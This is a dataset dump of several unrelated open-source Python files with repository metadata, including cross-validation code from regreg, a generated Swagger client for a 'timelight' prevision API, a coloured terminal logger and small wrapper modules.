weights_flag = weights_flag,
variance_flag = variance_flag,
polarization = polarization,
map_flag = map_flag,
uniform_flag = uniform_flag,
grid_uniform = grid_uniform,
fi_use = fi_use,
bi_use = bi_use,
no_conjugate = no_conjugate,
mask_mirror_indices = mask_mirror_indices,
model = model,
grid_spectral = grid_spectral,
beam_per_baseline = beam_per_baseline,
uv_grid_phase_only = uv_grid_phase_only,
)
later = time.time()
print("The full size took {} seconds to process with tests".format(later - now))
npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8)
npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8)
npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8)
#npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8)
# No uniform filter given with the test, does have errors though due to errors in bin_n
# As arrays get larger the bin_n value will become further apart than the IDL output due to larger precision errors.
npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) | 38.292135 | 135 | 0.682463 | 2,723 | 20,448 | 4.843555 | 0.100624 | 0.045492 | 0.054136 | 0.079612 | 0.816362 | 0.808249 | 0.806051 | 0.804913 | 0.78664 | 0.781181 | 0 | 0.020818 | 0.217723 | 20,448 | 534 | 136 | 38.292135 | 0.803701 | 0.049149 | 0 | 0.865297 | 0 | 0 | 0.149627 | 0.001527 | 0 | 0 | 0 | 0 | 0.093607 | 1 | 0.022831 | false | 0 | 0.015982 | 0.004566 | 0.043379 | 0.018265 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c8cfb1372a4913b185d438dd4ffe19fc99c749c7 | 5,664 | py | Python | regreg/paths/cross_validate.py | vishalbelsare/regreg | d1b62cc43cdd83331f2b0817b0ae099d5ef97966 | [
"BSD-2-Clause"
] | 11 | 2016-02-25T01:53:03.000Z | 2020-11-30T00:59:46.000Z | regreg/paths/cross_validate.py | vishalbelsare/regreg | d1b62cc43cdd83331f2b0817b0ae099d5ef97966 | [
"BSD-2-Clause"
] | 21 | 2015-09-17T19:18:09.000Z | 2021-04-28T06:15:02.000Z | regreg/paths/cross_validate.py | vishalbelsare/regreg | d1b62cc43cdd83331f2b0817b0ae099d5ef97966 | [
"BSD-2-Clause"
] | 8 | 2016-03-24T00:03:03.000Z | 2019-08-25T23:40:42.000Z | import numpy as np
from joblib.parallel import Parallel, delayed
have_sklearn = True
try:
from sklearn.model_selection import check_cv
except ImportError:
have_sklearn = False
pass
from . import strong_rules
def cross_validate(path_obj,
lagrange_seq,
path_fitter=strong_rules,
initial_data=None,
cv=5,
group_labels=None,
n_jobs=-1,
score=lambda x,y: np.linalg.norm(x-y)**2 / y.shape[0],
verbose=True,
inner_tol=1.e-5):
'''
Cross validates a path fitter over a set of
Lagrange parameters.
Adjusts coefficient of subsampled loss by fraction ntrain / nsample.
Parameters
----------
path_obj : group_path
'''
# assumes that full data of path_obj.saturated_loss
# is the same as
# Compute paths for all folds
response = path_obj.saturated_loss.data
nsample = response.shape[0]
have_sklearn = False
if have_sklearn:
cv = check_cv(cv)
folds = list(cv.split(range(nsample), range(nsample)))
else:
if type(cv) != type(3):
raise ValueError('without sklearn, cv should be an integer')
groups = np.floor(np.arange(nsample) / nsample * cv).astype(np.int)
np.random.shuffle(groups)
folds = [(groups != g, groups == g)
for g in np.unique(groups)]
# Loop over folds, computing path
# for each (train, test)
if initial_data is None:
initial_data = (path_obj.solution,
path_obj.grad_solution)
def fit_fold(path_obj,
lagrange_seq,
initial_data,
test,
train,
inner_tol):
train_path = path_obj.subsample(train)
train_path.saturated_loss.coef *= train.shape[0] / train.sum()
train_results = path_fitter(train_path,
lagrange_seq,
initial_data,
inner_tol=inner_tol)
return train_results
jobs = (delayed(fit_fold)(path_obj,
lagrange_seq,
initial_data,
test,
train,
inner_tol)
for train, test in folds)
# Execute the jobs in parallel using joblib
results = Parallel(n_jobs=n_jobs,
verbose=verbose,
prefer="threads")(jobs)
# Form the linear predictors and responses
linpred_responses = [(path_obj.linpred(result['beta'],
path_obj.X,
train_test[1]),
response[train_test[1]])
for train_test, result in zip(folds, results)]
scores = [[score(linpred.T[i].T, y) for i in range(linpred.shape[-1])] for (linpred, y) in linpred_responses]
return np.mean(scores, 0), np.std(scores, 0)
def cross_validate_alt(path_obj,
fit_fold,
fit_args,
lagrange_seq,
path_fitter=strong_rules,
initial_data=None,
cv=5,
group_labels=None,
n_jobs=-1,
score=lambda x,y: np.linalg.norm(x-y)**2 / y.shape[0],
verbose=True,
inner_tol=1.e-5):
'''
Cross validates a path fitter over a set of
Lagrange parameters.
Adjusts coefficient of subsampled loss by fraction ntrain / nsample.
Parameters
----------
path_obj : group_path
'''
# assumes that full data of path_obj.saturated_loss
# is the same as
# Compute paths for all folds
response = path_obj.saturated_loss.data
nsample = response.shape[0]
have_sklearn = False
if have_sklearn:
cv = check_cv(cv)
folds = list(cv.split(range(nsample), range(nsample)))
else:
if type(cv) != type(3):
raise ValueError('without sklearn, cv should be an integer')
groups = np.floor(np.arange(nsample) / nsample * cv).astype(np.int)
np.random.shuffle(groups)
folds = [(groups != g, groups == g)
for g in np.unique(groups)]
if initial_data is None:
initial_data = (path_obj.solution,
path_obj.grad_solution)
# Loop over folds, computing path
# for each (train, test)
jobs = (delayed(fit_fold)(lagrange_seq,
test,
train,
path_fitter,
initial_data,
*fit_args)
for train, test in folds)
# Execute the jobs in parallel using joblib
results = Parallel(n_jobs=n_jobs,
verbose=verbose,
prefer="threads")(jobs)
# Form the linear predictors and responses
linpred_responses = [(path_obj.linpred(result['beta'],
path_obj.X,
train_test[1]),
response[train_test[1]])
for train_test, result in zip(folds, results)]
scores = [[score(linpred.T[i].T, y) for i in range(linpred.shape[-1])] for (linpred, y) in linpred_responses]
return np.mean(scores, 0), np.std(scores, 0)
| 31.642458 | 113 | 0.512712 | 630 | 5,664 | 4.452381 | 0.21746 | 0.047415 | 0.022816 | 0.028521 | 0.831373 | 0.831373 | 0.831373 | 0.831373 | 0.831373 | 0.801426 | 0 | 0.007967 | 0.40166 | 5,664 | 178 | 114 | 31.820225 | 0.819711 | 0.146186 | 0 | 0.781818 | 0 | 0 | 0.021478 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027273 | false | 0.009091 | 0.045455 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cdc5f470bbf7c8ad47c16ca6bf03407da35ae31d | 72 | py | Python | chapter08/packt-calc/packt_calc/cli.py | PacktPublishing/Migrating-from-Python-2-to-Python-3 | 1cb70b7fce12fe11bc2a25a86cbe3281d544f81d | [
"MIT"
] | null | null | null | chapter08/packt-calc/packt_calc/cli.py | PacktPublishing/Migrating-from-Python-2-to-Python-3 | 1cb70b7fce12fe11bc2a25a86cbe3281d544f81d | [
"MIT"
] | null | null | null | chapter08/packt-calc/packt_calc/cli.py | PacktPublishing/Migrating-from-Python-2-to-Python-3 | 1cb70b7fce12fe11bc2a25a86cbe3281d544f81d | [
"MIT"
] | null | null | null | from packt_calc.calc import start_server
def main():
start_server() | 18 | 40 | 0.763889 | 11 | 72 | 4.727273 | 0.727273 | 0.423077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152778 | 72 | 4 | 41 | 18 | 0.852459 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
cde3b315b713c4e0d3685d5e94f5fba52f24a7ca | 242 | py | Python | geomag/__init__.py | lobo-23/bidds-debrief | e7385aa2cdf1fd66f677b61fe814b4ab8f72cc8c | [
"MIT"
] | null | null | null | geomag/__init__.py | lobo-23/bidds-debrief | e7385aa2cdf1fd66f677b61fe814b4ab8f72cc8c | [
"MIT"
] | null | null | null | geomag/__init__.py | lobo-23/bidds-debrief | e7385aa2cdf1fd66f677b61fe814b4ab8f72cc8c | [
"MIT"
] | null | null | null | from .model import WorldMagneticModel
def declination(*args, **kwargs):
return WorldMagneticModel().calc_field(*args, **kwargs).declination
def field(*args, **kwargs):
return WorldMagneticModel().calc_field(*args, **kwargs).field
| 24.2 | 71 | 0.739669 | 26 | 242 | 6.807692 | 0.423077 | 0.225989 | 0.254237 | 0.384181 | 0.59887 | 0.59887 | 0.59887 | 0.59887 | 0 | 0 | 0 | 0 | 0.115702 | 242 | 9 | 72 | 26.888889 | 0.827103 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | true | 0 | 0.2 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 9 |
cde81b5ecccb3e9ab1e34665fbdcbd3059beca85 | 22,129 | py | Python | timelight_ai_python_api_client/api/prevision_api.py | timelight-ai/python-api-client | 7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39 | [
"MIT"
] | null | null | null | timelight_ai_python_api_client/api/prevision_api.py | timelight-ai/python-api-client | 7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39 | [
"MIT"
] | null | null | null | timelight_ai_python_api_client/api/prevision_api.py | timelight-ai/python-api-client | 7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
timelight
This is the timelight api. # noqa: E501
OpenAPI spec version: 1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from timelight_ai_python_api_client.api_client import ApiClient
class PrevisionApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def v1_prevision_group_apply_prevision_post(self, prevision_apply_group_dto, **kwargs): # noqa: E501
"""Apply a source prevision to the whole group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_group_apply_prevision_post(prevision_apply_group_dto, async_req=True)
>>> result = thread.get()
:param async_req bool
:param PrevisionApplyGroupDto prevision_apply_group_dto: (required)
:return: PrevisionApplyGroupResponseDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.v1_prevision_group_apply_prevision_post_with_http_info(prevision_apply_group_dto, **kwargs) # noqa: E501
else:
(data) = self.v1_prevision_group_apply_prevision_post_with_http_info(prevision_apply_group_dto, **kwargs) # noqa: E501
return data
def v1_prevision_group_apply_prevision_post_with_http_info(self, prevision_apply_group_dto, **kwargs): # noqa: E501
"""Apply a source prevision to the whole group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_group_apply_prevision_post_with_http_info(prevision_apply_group_dto, async_req=True)
>>> result = thread.get()
:param async_req bool
:param PrevisionApplyGroupDto prevision_apply_group_dto: (required)
:return: PrevisionApplyGroupResponseDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['prevision_apply_group_dto'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method v1_prevision_group_apply_prevision_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'prevision_apply_group_dto' is set
if ('prevision_apply_group_dto' not in params or
params['prevision_apply_group_dto'] is None):
raise ValueError("Missing the required parameter `prevision_apply_group_dto` when calling `v1_prevision_group_apply_prevision_post`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'prevision_apply_group_dto' in params:
body_params = params['prevision_apply_group_dto']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['bearer'] # noqa: E501
return self.api_client.call_api(
'/v1/prevision/group-apply-prevision', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PrevisionApplyGroupResponseDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def v1_prevision_list_source_id_year_get(self, year, source_id, **kwargs): # noqa: E501
"""Fetch data previsions for a given year # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_list_source_id_year_get(year, source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param float year: (required)
:param float source_id: (required)
:return: PrevisionListDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.v1_prevision_list_source_id_year_get_with_http_info(year, source_id, **kwargs) # noqa: E501
else:
(data) = self.v1_prevision_list_source_id_year_get_with_http_info(year, source_id, **kwargs) # noqa: E501
return data
def v1_prevision_list_source_id_year_get_with_http_info(self, year, source_id, **kwargs): # noqa: E501
"""Fetch data previsions for a given year # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_list_source_id_year_get_with_http_info(year, source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param float year: (required)
:param float source_id: (required)
:return: PrevisionListDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['year', 'source_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method v1_prevision_list_source_id_year_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'year' is set
if ('year' not in params or
params['year'] is None):
raise ValueError("Missing the required parameter `year` when calling `v1_prevision_list_source_id_year_get`") # noqa: E501
# verify the required parameter 'source_id' is set
if ('source_id' not in params or
params['source_id'] is None):
raise ValueError("Missing the required parameter `source_id` when calling `v1_prevision_list_source_id_year_get`") # noqa: E501
collection_formats = {}
path_params = {}
if 'year' in params:
path_params['year'] = params['year'] # noqa: E501
if 'source_id' in params:
path_params['sourceId'] = params['source_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['bearer'] # noqa: E501
return self.api_client.call_api(
'/v1/prevision/list/{sourceId}/{year}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PrevisionListDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def v1_prevision_save_default_previsions_source_id_year_post(self, year, source_id, **kwargs): # noqa: E501
"""Generate default previsions for the source and save them # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_save_default_previsions_source_id_year_post(year, source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param float year: (required)
:param float source_id: (required)
:return: PrevisionBulkSaveResultDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.v1_prevision_save_default_previsions_source_id_year_post_with_http_info(year, source_id, **kwargs) # noqa: E501
else:
(data) = self.v1_prevision_save_default_previsions_source_id_year_post_with_http_info(year, source_id, **kwargs) # noqa: E501
return data
def v1_prevision_save_default_previsions_source_id_year_post_with_http_info(self, year, source_id, **kwargs): # noqa: E501
"""Generate default previsions for the source and save them # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_save_default_previsions_source_id_year_post_with_http_info(year, source_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param float year: (required)
:param float source_id: (required)
:return: PrevisionBulkSaveResultDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['year', 'source_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method v1_prevision_save_default_previsions_source_id_year_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'year' is set
if ('year' not in params or
params['year'] is None):
raise ValueError("Missing the required parameter `year` when calling `v1_prevision_save_default_previsions_source_id_year_post`") # noqa: E501
# verify the required parameter 'source_id' is set
if ('source_id' not in params or
params['source_id'] is None):
raise ValueError("Missing the required parameter `source_id` when calling `v1_prevision_save_default_previsions_source_id_year_post`") # noqa: E501
collection_formats = {}
path_params = {}
if 'year' in params:
path_params['year'] = params['year'] # noqa: E501
if 'source_id' in params:
path_params['sourceId'] = params['source_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['bearer'] # noqa: E501
return self.api_client.call_api(
'/v1/prevision/save-default-previsions/{sourceId}/{year}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PrevisionBulkSaveResultDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def v1_prevision_save_post(self, prevision_bulk_save_dto, **kwargs): # noqa: E501
"""Save many previsions at once # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_save_post(prevision_bulk_save_dto, async_req=True)
>>> result = thread.get()
:param async_req bool
:param PrevisionBulkSaveDto prevision_bulk_save_dto: (required)
:return: PrevisionBulkSaveResultDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.v1_prevision_save_post_with_http_info(prevision_bulk_save_dto, **kwargs) # noqa: E501
else:
(data) = self.v1_prevision_save_post_with_http_info(prevision_bulk_save_dto, **kwargs) # noqa: E501
return data
def v1_prevision_save_post_with_http_info(self, prevision_bulk_save_dto, **kwargs): # noqa: E501
"""Save many previsions at once # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_save_post_with_http_info(prevision_bulk_save_dto, async_req=True)
>>> result = thread.get()
:param async_req bool
:param PrevisionBulkSaveDto prevision_bulk_save_dto: (required)
:return: PrevisionBulkSaveResultDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['prevision_bulk_save_dto'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method v1_prevision_save_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'prevision_bulk_save_dto' is set
if ('prevision_bulk_save_dto' not in params or
params['prevision_bulk_save_dto'] is None):
raise ValueError("Missing the required parameter `prevision_bulk_save_dto` when calling `v1_prevision_save_post`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'prevision_bulk_save_dto' in params:
body_params = params['prevision_bulk_save_dto']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['bearer'] # noqa: E501
return self.api_client.call_api(
'/v1/prevision/save', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PrevisionBulkSaveResultDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def v1_prevision_update_patch(self, prevision_patch_dto, **kwargs): # noqa: E501
"""Update a specific prevision # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_update_patch(prevision_patch_dto, async_req=True)
>>> result = thread.get()
:param async_req bool
:param PrevisionPatchDto prevision_patch_dto: (required)
:return: PrevisionUpdateResultDto
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.v1_prevision_update_patch_with_http_info(prevision_patch_dto, **kwargs) # noqa: E501
else:
(data) = self.v1_prevision_update_patch_with_http_info(prevision_patch_dto, **kwargs) # noqa: E501
return data
def v1_prevision_update_patch_with_http_info(self, prevision_patch_dto, **kwargs): # noqa: E501
"""Update a specific prevision # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.v1_prevision_update_patch_with_http_info(prevision_patch_dto, async_req=True)
>>> result = thread.get()
:param async_req bool
:param PrevisionPatchDto prevision_patch_dto: (required)
:return: PrevisionUpdateResultDto
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['prevision_patch_dto'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method v1_prevision_update_patch" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'prevision_patch_dto' is set
if ('prevision_patch_dto' not in params or
params['prevision_patch_dto'] is None):
raise ValueError("Missing the required parameter `prevision_patch_dto` when calling `v1_prevision_update_patch`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'prevision_patch_dto' in params:
body_params = params['prevision_patch_dto']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['bearer'] # noqa: E501
return self.api_client.call_api(
'/v1/prevision/update', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PrevisionUpdateResultDto', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 41.285448 | 160 | 0.637218 | 2,581 | 22,129 | 5.139868 | 0.066641 | 0.043419 | 0.021107 | 0.027137 | 0.957184 | 0.940374 | 0.934193 | 0.901101 | 0.899668 | 0.887306 | 0 | 0.016959 | 0.277871 | 22,129 | 535 | 161 | 41.362617 | 0.813204 | 0.309684 | 0 | 0.761246 | 1 | 0 | 0.214271 | 0.093805 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038062 | false | 0 | 0.013841 | 0 | 0.107266 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
b562880a32ee09e1871801e6f7446cc2e852907c | 2,323 | py | Python | logger.py | collinkleest/PyBot | 10b2786eebfdc4bcee5b7c14ef52000aaed35409 | [
"MIT"
] | null | null | null | logger.py | collinkleest/PyBot | 10b2786eebfdc4bcee5b7c14ef52000aaed35409 | [
"MIT"
] | null | null | null | logger.py | collinkleest/PyBot | 10b2786eebfdc4bcee5b7c14ef52000aaed35409 | [
"MIT"
] | null | null | null | from datetime import datetime
import socket
class Colors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
class Logger(object):
HOST_NAME = socket.gethostname()
def __init__(self):
pass
def info(self, log_string):
current_date_time = datetime.now()
current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S")
print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKBLUE}INFO{Colors.ENDC}: {log_string}')
def error(self, log_string):
current_date_time = datetime.now()
current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S")
print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.FAIL}ERROR{Colors.ENDC}: {log_string}')
def success(self, log_string):
current_date_time = datetime.now()
current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S")
print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKGREEN}SUCCESS{Colors.ENDC}: {log_string}')
def warning(self, log_string):
current_date_time = datetime.now()
current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S")
print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.WARNING}WARNING{Colors.ENDC}: {log_string}')
def debug(self, log_string):
current_date_time = datetime.now()
current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S")
print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKBLUE}DEBUG{Colors.ENDC}: {log_string}')
def verbose(self, log_string):
# TODO: ADD VERBOSE OUTPUT
current_date_time = datetime.now()
current_date_time_str = current_date_time.strftime("%d/%m/%Y %H:%M:%S")
print(f'{Colors.BOLD}{current_date_time_str}{Colors.ENDC} {Colors.HEADER}{self.HOST_NAME}{Colors.ENDC} {Colors.OKBLUE}DEBUG{Colors.ENDC}: {log_string}')
| 43.018519 | 163 | 0.67542 | 338 | 2,323 | 4.39645 | 0.168639 | 0.177658 | 0.242261 | 0.145357 | 0.783311 | 0.722073 | 0.722073 | 0.722073 | 0.722073 | 0.722073 | 0 | 0.021527 | 0.160138 | 2,323 | 53 | 164 | 43.830189 | 0.740133 | 0.010331 | 0 | 0.35 | 0 | 0.15 | 0.44667 | 0.333043 | 0 | 0 | 0 | 0.018868 | 0 | 1 | 0.175 | false | 0.025 | 0.05 | 0 | 0.525 | 0.15 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
b5a242087a8658ff5acf9fa1c3860f40e3d6fe23 | 161 | py | Python | teletype/io/__init__.py | jkwill87/teletype | e7290ed53f8e631c798c438607c0b6211c4aaab4 | [
"MIT"
] | 15 | 2018-11-27T08:47:39.000Z | 2021-12-27T11:44:33.000Z | teletype/io/__init__.py | jkwill87/teletype | e7290ed53f8e631c798c438607c0b6211c4aaab4 | [
"MIT"
] | 2 | 2018-12-14T04:42:31.000Z | 2018-12-14T04:42:31.000Z | teletype/io/__init__.py | jkwill87/teletype | e7290ed53f8e631c798c438607c0b6211c4aaab4 | [
"MIT"
